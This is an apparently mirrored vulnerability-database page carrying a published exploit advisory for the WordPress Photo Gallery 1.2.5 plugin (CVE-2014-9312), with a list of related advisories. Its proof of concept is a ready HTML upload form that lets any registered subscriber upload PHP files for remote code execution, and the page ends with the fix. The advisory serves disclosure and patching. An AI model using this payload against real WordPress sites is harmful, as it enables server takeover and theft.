Lucene search
K

Wordpress Photo Gallery 1.2.5 Unrestricted File Upload Vulnerability

🗓️ 26 Jan 2015 00:00:00Reported by Kacper SzurekType 
zdt
 zdt
🔗 0day.today👁 78 Views

Wordpress Photo Gallery 1.2.5 Unrestricted File Upload Vulnerability. All registered users, including subscribers, can upload files due to a read role issue. Attackers can exploit this to upload malicious PHP files, leading to remote code execution

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2014-9312
29 May 201815:50
circl
CNVD
WordPress Photo Gallery Plugin Arbitrary File Upload Vulnerability
21 Feb 201500:00
cnvd
Check Point Advisories
Wordpress Photo Gallery Plugin Unrestricted File Upload (CVE-2014-9312)
15 Feb 201500:00
checkpoint_advisories
CVE
CVE-2014-9312
28 Aug 201715:00
cve
Cvelist
CVE-2014-9312
28 Aug 201715:00
cvelist
Exploit DB
WordPress Plugin Photo Gallery 1.2.5 - Unrestricted Arbitrary File Upload
11 Nov 201400:00
exploitdb
exploitpack
WordPress Plugin Photo Gallery 1.2.5 - Unrestricted Arbitrary File Upload
11 Nov 201400:00
exploitpack
Metasploit
WordPress Photo Gallery Unrestricted File Upload
11 Feb 201501:03
metasploit
NVD
CVE-2014-9312
28 Aug 201715:29
nvd
Packet Storm
Photo Gallery 1.2.5 Shell Upload
26 Jan 201500:00
packetstorm
Rows per page
# Exploit Title: Photo Gallery 1.2.5 Unrestricted File Upload
# Date: 11-11-2014
# Software Link: https://wordpress.org/plugins/photo-gallery/
# Exploit Author: Kacper Szurek
# Contact: http://twitter.com/KacperSzurek
# Website: http://security.szurek.pl/
# CVE: CVE-2014-9312
# Category: webapps

1. Description
  
Every registered user (even Subscriber) can access upload functionality because of read role used inside UploadHandler.php

http://security.szurek.pl/photo-gallery-125-unrestricted-file-upload.html
  
2. Proof of Concept

Login as regular user (created using wp-login.php?action=register).

Pack .php files into .zip archive then send it using:

<form method="post" action="http://wordpress-install/wp-admin/admin-ajax.php?action=bwg_UploadHandler&dir=rce/" enctype="multipart/form-data">
    <input type="file" name="files">
    <input type="submit" value="Hack!">
</form>

Your files will be visible inside:

http://wordpress-install/wp-admin/rce/
  
3. Solution:
  
Update to version 1.2.6
https://downloads.wordpress.org/plugin/photo-gallery.1.2.6.zip

#  0day.today [2018-01-05]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation